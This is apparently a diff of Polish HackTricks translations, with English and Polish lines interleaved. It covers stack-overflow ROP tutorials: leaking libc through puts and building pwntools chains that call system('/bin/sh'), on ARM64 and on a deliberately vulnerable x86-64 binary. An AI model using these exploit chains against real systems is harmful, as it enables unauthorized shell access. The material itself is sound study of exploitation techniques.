Odejmując wyciekły adres libc od adresu bazowego libc, można zobaczyć, że **przesunięcie** adresu **ujawnionego od bazy wynosi `0x49c40`.**
|
||||
Odejmując wyciekający adres libc od podstawowego adresu libc, można zobaczyć, że **offset** wyciekającego adresu od podstawy wynosi `0x49c40`.
|
||||
|
||||
### Przesunięcie x30
|
||||
### offset x30
|
||||
|
||||
Zobacz poprzedni przykład, ponieważ przepełnienie bufora jest takie samo.
|
||||
Zobacz poprzedni przykład, ponieważ bof jest taki sam.
|
||||
|
||||
### Znajdowanie Gadgetów
|
||||
### Znajdź Gadżety
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, musimy mieć w **`x0`** adres do łańcucha **`/bin/sh`** i wywołać funkcję **`system`**.
|
||||
Jak w poprzednim przykładzie, musimy mieć w **`x0`** adres do ciągu **`/bin/sh`** i wywołać **`system`**.
|
||||
|
||||
Korzystając z narzędzia rooper, znaleziono kolejny interesujący gadżet:
|
||||
Używając roopera, znaleziono inny interesujący gadżet:
|
||||
```
|
||||
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
```
|
||||
### Wykorzystanie
|
||||
Ten gadżet załaduje `x0` z **`$sp + 0x78`** i następnie załaduje adresy x29 i x30 z sp oraz skoczy do x30. Dzięki temu gadżetowi możemy **kontrolować pierwszy argument, a następnie skoczyć do systemu**.
|
||||
|
||||
### Exploit
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -208,16 +211,17 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Wyciek adresu libc za pomocą ROP
|
||||
# Leaking libc address with ROP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Szybkie podsumowanie
|
||||
## Quick Resume
|
||||
|
||||
1. **Znajdź** przesunięcie **przepełnienia**
|
||||
2. **Znajdź** gadżet `POP_RDI`, `PUTS_PLT` i `MAIN`
|
||||
3. Użyj poprzednich gadżetów do **wycieku adresu pamięci** funkcji puts lub innej funkcji libc i **znajdź wersję biblioteki libc** ([pobierz ją](https://libc.blukat.me))
|
||||
4. Z biblioteką **oblicz ROP i wykorzystaj to**
|
||||
1. **Find** overflow **offset**
|
||||
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
|
||||
3. Użyj poprzednich gadgetów, aby **wyciekować adres pamięci** funkcji puts lub innej funkcji libc i **znaleźć wersję libc** ([pobierz ją](https://libc.blukat.me))
|
||||
4. Z biblioteką, **oblicz ROP i wykorzystaj to**
|
||||
|
||||
## Inne samouczki i binaria do praktyki
|
||||
## Other tutorials and binaries to practice
|
||||
|
||||
Ten samouczek będzie wykorzystywał kod/binarny zaproponowany w tym samouczku: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Ten samouczek będzie wykorzystywał kod/binary zaproponowany w tym samouczku: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Inne przydatne samouczki: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
|
||||
## Kod
|
||||
## Code
|
||||
|
||||
Nazwa pliku: `vuln.c`
|
||||
Filename: `vuln.c`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -44,17 +45,17 @@ return 0;
|
|||
```bash
|
||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
```
|
||||
## Szablon ROP - Wyciek LIBC
|
||||
## ROP - Leaking LIBC template
|
||||
|
||||
Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:
|
||||
Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik, a następnie przekaż potrzebne dane do skryptu:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 1- Znalezienie przesunięcia
|
||||
## 1- Znalezienie offsetu
|
||||
|
||||
Szablon wymaga przesunięcia przed kontynuacją eksploitacji. Jeśli nie zostanie podane, zostanie wykonany niezbędny kod do jego znalezienia (domyślnie `OFFSET = ""`):
|
||||
Szablon potrzebuje offsetu przed kontynuowaniem exploitacji. Jeśli jakikolwiek zostanie podany, wykona niezbędny kod, aby go znaleźć (domyślnie `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
|
@ -69,21 +70,21 @@ r.sendline(payload)
|
|||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
**Wykonaj** `python template.py`, otworzy się konsola GDB z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Ostatecznie uzyskaj **przesunięcie** za pomocą konsoli **python**:
|
||||
**Wykonaj** `python template.py`, a konsola **GDB** zostanie otwarta z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec uzyskaj **offset** używając konsoli **python**:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
```
|
||||
![](<../../../../.gitbook/assets/image (1007).png>)
|
||||
|
||||
Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.\
|
||||
Po znalezieniu offsetu (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Innym sposobem byłoby użycie: `pattern create 1000` -- _wykonaj do ret_ -- `pattern seach $rsp` z GEF.
|
||||
|
||||
## 2- Znajdowanie Gadgetów
|
||||
## 2- Znajdowanie Gadżetów
|
||||
|
||||
Teraz musimy znaleźć Gadgety ROP wewnątrz pliku binarnego. Te Gadgety ROP będą przydatne do wywołania `puts` w celu znalezienia używanej **biblioteki libc**, a później do **uruchomienia ostatecznego ataku**.
|
||||
Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania `puts`, aby znaleźć używaną **libc**, a później do **uruchomienia ostatecznego exploit**.
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
|
@ -95,14 +96,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
|
|||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT` jest potrzebny do wywołania **funkcji puts**.\
|
||||
`MAIN_PLT` jest potrzebny do ponownego wywołania **funkcji main** po jednej interakcji, aby ponownie **wykorzystać** nadmiar (nieskończone rundy eksploatacji). **Jest używany na końcu każdego ROP, aby ponownie wywołać program**.\
|
||||
**POP\_RDI** jest potrzebny do **przekazania** **parametru** do wywołanej funkcji.
|
||||
`MAIN_PLT` jest potrzebny do ponownego wywołania **funkcji main** po jednej interakcji, aby **wykorzystać** przepełnienie **ponownie** (nieskończone rundy eksploatacji). **Jest używany na końcu każdego ROP, aby ponownie wywołać program**.\
|
||||
**POP\_RDI** jest potrzebny do **przekazania** **parametru** do wywoływanej funkcji.
|
||||
|
||||
W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.
|
||||
W tym kroku nie musisz nic wykonywać, ponieważ wszystko zostanie znalezione przez pwntools podczas wykonania.
|
||||
|
||||
## 3- Znajdowanie biblioteki libc
|
||||
## 3- Znalezienie biblioteki libc
|
||||
|
||||
Nadszedł czas, aby dowiedzieć się, która wersja biblioteki **libc** jest używana. Aby to zrobić, zamierzamy **wyciek** **adresu** w pamięci **funkcji** `puts`, a następnie będziemy **szukać**, w której **wersji biblioteki** znajduje się wersja puts pod tym adresem.
|
||||
Teraz czas, aby znaleźć, która wersja biblioteki **libc** jest używana. Aby to zrobić, zamierzamy **wyciek** **adresu** w pamięci funkcji `puts`, a następnie zamierzamy **przeszukać**, w której **wersji biblioteki** znajduje się wersja puts w tym adresie.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
|
@ -135,28 +136,28 @@ Aby to zrobić, najważniejsza linia wykonanego kodu to:
|
|||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
To wyśle kilka bajtów, aż **nadpisze** **RIP**: `OFFSET`.\
|
||||
Następnie ustawiony zostanie **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, przekazując mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany pod adresem wskazywanym przez `PUTS_GOT`.\
|
||||
Następnie zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w **RDI**), dzięki czemu puts odczyta zawartość wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wypisze go**.\
|
||||
Na koniec ponownie zostanie wywołana **funkcja main**, abyśmy mogli ponownie wykorzystać przepełnienie.
|
||||
To wyśle kilka bajtów, aż **nadpisanie** **RIP** będzie możliwe: `OFFSET`.\
|
||||
Następnie ustawi **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez `PUTS_GOT`.\
|
||||
Po tym zostanie wywołany `PUTS_PLT` (z `PUTS_GOT` wewnątrz **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\
|
||||
Na koniec **funkcja main jest wywoływana ponownie**, abyśmy mogli ponownie wykorzystać przepełnienie.
|
||||
|
||||
W ten sposób **oszukaliśmy funkcję puts**, aby **wypisała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
|
||||
W ten sposób **oszukaliśmy funkcję puts**, aby **wydrukowała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
|
||||
|
||||
![](<../../../../.gitbook/assets/image (1049).png>)
|
||||
|
||||
Ponieważ **wykorzystujemy** pewien **lokalny** plik binarny, **nie jest konieczne** ustalenie, która wersja **libc** jest używana (wystarczy znaleźć bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak możesz to znaleźć:
|
||||
Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (po prostu znajdź bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak można to znaleźć:
|
||||
|
||||
### 3.1- Wyszukiwanie wersji libc (1)
|
||||
### 3.1- Szukanie wersji libc (1)
|
||||
|
||||
Możesz sprawdzić, która biblioteka jest używana na stronie internetowej: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
Możesz sprawdzić, która biblioteka jest używana na stronie: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
Pozwoli to również pobrać odkrytą wersję **libc**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (221).png>)
|
||||
|
||||
### 3.2- Wyszukiwanie wersji libc (2)
|
||||
### 3.2- Szukanie wersji libc (2)
|
||||
|
||||
Możesz także zrobić:
|
||||
Możesz również zrobić:
|
||||
|
||||
* `$ git clone https://github.com/niklasb/libc-database.git`
|
||||
* `$ cd libc-database`
|
||||
|
@ -165,8 +166,8 @@ Możesz także zrobić:
|
|||
To zajmie trochę czasu, bądź cierpliwy.\
|
||||
Aby to zadziałało, potrzebujemy:
|
||||
|
||||
* Nazwa symbolu Libc: `puts`
|
||||
* Wyciekły adres libc: `0x7ff629878690`
|
||||
* Nazwa symbolu libc: `puts`
|
||||
* Wyciekniony adres libc: `0x7ff629878690`
|
||||
|
||||
Możemy ustalić, która **libc** jest najprawdopodobniej używana.
|
||||
```bash
|
||||
|
@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
|
|||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
### 3.3- Inne funkcje do wycieku
|
||||
|
||||
Skopiuj libc z `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` do naszego katalogu roboczego.
|
||||
|
||||
### 3.3- Inne funkcje do wycieku
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
|
@ -193,13 +194,13 @@ __libc_start_main
|
|||
read
|
||||
gets
|
||||
```
|
||||
## 4- Znajdowanie adresu biblioteki libc i eksploatacja
|
||||
## 4- Znalezienie adresu libc opartego na lokalizacji i wykorzystanie
|
||||
|
||||
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny plik binarny, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
Więc na początku pliku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę biblioteki gdy ją znasz`
|
||||
Na początku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy`
|
||||
|
||||
Podając **ścieżkę** do **biblioteki libc**, reszta **eksploatacji będzie automatycznie obliczana**.
|
||||
Podając **ścieżkę** do **biblioteki libc**, reszta **eksploitu zostanie automatycznie obliczona**.
|
||||
|
||||
Wewnątrz funkcji `get_addr` zostanie obliczony **adres bazowy libc**:
|
||||
```python
|
||||
|
@ -208,10 +209,10 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
|
|||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Należy pamiętać, że **końcowy adres podstawy libc musi kończyć się cyfrą 00**. Jeśli tak nie jest w twoim przypadku, możesz ujawnić nieprawidłową bibliotekę.
|
||||
Zauważ, że **ostateczny adres bazy libc musi kończyć się na 00**. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.
|
||||
{% endhint %}
|
||||
|
||||
Następnie adres funkcji `system` oraz **adres** łańcucha _"/bin/sh"_ zostaną **obliczone** na podstawie **adresu podstawy libc** i danej **biblioteki libc**.
|
||||
Następnie adres do funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podanej **biblioteki libc.**
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
|
@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
|
|||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
Ostatecznie exploit wykonujący /bin/sh zostanie przygotowany i wysłany:
|
||||
Na koniec przygotowywany jest exploit do wykonania /bin/sh:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
|
@ -230,38 +231,37 @@ p.sendline(rop2)
|
|||
#### Interact with the shell #####
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
## Wyjaśnijmy ten ostatni ROP.
|
||||
Let's explain this final ROP.\
|
||||
Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego `OFFSET` jest tutaj znowu). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\
|
||||
Na koniec **adres funkcji exit** jest **wywoływany**, aby proces **ładnie zakończył działanie** i nie został wygenerowany żaden alert.
|
||||
|
||||
Ostatni ROP (`rop1`) kończył się ponownym wywołaniem funkcji `main`, dzięki czemu możemy **ponownie wykorzystać** **przepełnienie** (dlatego tu znowu jest `OFFSET`). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\
|
||||
Na koniec **wywoływany jest adres funkcji exit**, aby proces **ładnie zakończył działanie** i nie generował żadnych alertów.
|
||||
|
||||
**W ten sposób exploit uruchomi powłokę \_/bin/sh**.
|
||||
**W ten sposób exploit uruchomi powłokę \_/bin/sh**\_\*\*.\*\*
|
||||
|
||||
![](<../../../../.gitbook/assets/image (165).png>)
|
||||
|
||||
## 4(2)- Używanie ONE\_GADGET
|
||||
## 4(2)- Using ONE\_GADGET
|
||||
|
||||
Możesz również użyć [**ONE\_GADGET**](https://github.com/david942j/one_gadget), aby uzyskać powłokę zamiast korzystać z **system** i **"/bin/sh"**. **ONE\_GADGET** znajdzie w bibliotece libc sposób uzyskania powłoki, korzystając tylko z jednego **adresu ROP**.\
|
||||
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać kilka dodatkowych wartości NULL, aby uniknąć ograniczenia.
|
||||
Możesz również użyć [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget), aby uzyskać powłokę zamiast używać **system** i **"/bin/sh". ONE\_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**.\
|
||||
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
|
||||
|
||||
![](<../../../../.gitbook/assets/image (754).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
## PLIK EXPLOITACJI
|
||||
## EXPLOIT FILE
|
||||
|
||||
Szablon do wykorzystania tej podatności znajdziesz tutaj:
|
||||
Możesz znaleźć szablon do wykorzystania tej podatności tutaj:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Powszechne problemy
|
||||
## Common problems
|
||||
|
||||
### MAIN\_PLT = elf.symbols\['main'] nie został znaleziony
|
||||
### MAIN\_PLT = elf.symbols\['main'] not found
|
||||
|
||||
Jeśli symbol "main" nie istnieje. W takim przypadku możesz znaleźć, gdzie znajduje się kod główny:
|
||||
Jeśli symbol "main" nie istnieje. Wtedy możesz znaleźć, gdzie znajduje się główny kod:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -271,28 +271,29 @@ i ustaw adres ręcznie:
|
|||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
### Puts not found
|
||||
### Puts nie znaleziono
|
||||
|
||||
Jeśli plik binarny nie używa Puts, powinieneś sprawdzić, czy używa
|
||||
Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono`
|
||||
|
||||
Jeśli znajdziesz ten **błąd** po utworzeniu **wszystkich** exploitów: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
Jeśli znajdziesz ten **błąd** po stworzeniu **wszystkich** exploitów: `sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono`
|
||||
|
||||
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Wyciek libc - szablon
|
||||
# Leaking libc - szablon
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
